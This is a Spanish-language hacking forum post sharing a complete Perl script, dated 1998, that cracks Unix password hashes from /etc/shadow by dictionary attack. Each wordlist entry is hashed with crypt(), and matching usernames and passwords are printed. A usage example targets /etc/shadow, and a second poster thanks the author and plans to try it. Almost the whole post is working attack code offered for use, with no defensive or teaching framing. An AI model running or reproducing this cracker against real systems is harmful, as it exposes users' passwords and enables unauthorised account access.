Desencriptador Simple de /etc/shadow -->*NIX

[blood_r3c]

Código:

##################################################
#                                                #
# Simple /etc/shadow unix password crack in perl #
#                                                #
# Fes. Morocco 1998                              #
#                                                #
# By _6mO_HaCk                                   #
#                                                #
##################################################
print ("\n--- perl /etc/shadow cracker");
print ("\n---");
print ("\n--- Coded By _6mO_HaCk");

if ($#ARGV < 0) {
  usage();
  exit;
}
$passlist = $ARGV[0];
$wordlist = $ARGV[1];
getpasslist($passlist, $wordlist);

sub getpasslist{
open (PWD, $passlist) or die print " Password File not found ", $passlist, "\n";

while (<PWD>)

  {
($fname, $encrypted, $uid, $gid, $cos, $home, $shell) = split ( /:/);
  getwordlist($encrypted, $fname); 
  }
  close (PWD);
}
sub getwordlist{

open (WRD, $wordlist) or die print " Wordfile not found ", $wordlist, "\n" ;
     while (<WRD>)
        {
        ($password) = split (/,/);
        chop($password);
        $encword = crypt ($password, $encrypted);
        if ($encword eq $encrypted)
           {

           print "Username :",$fname, "    \t ------ \aPass : ", $password, "\n";
           }
         }
         close (WRD);
 }
sub usage {
 print "\n";
 print "--- Usage : perl cr4ckp455 PASSWORDFILE WORDFILE\n";
 print "--- Exp   : perl cr4ckp455 /etc/shadow word.lst\n";
 print "\n";
}

salu2

[Th3 ziXâ„¢]

Esta bueno el code bro...

Aver como me va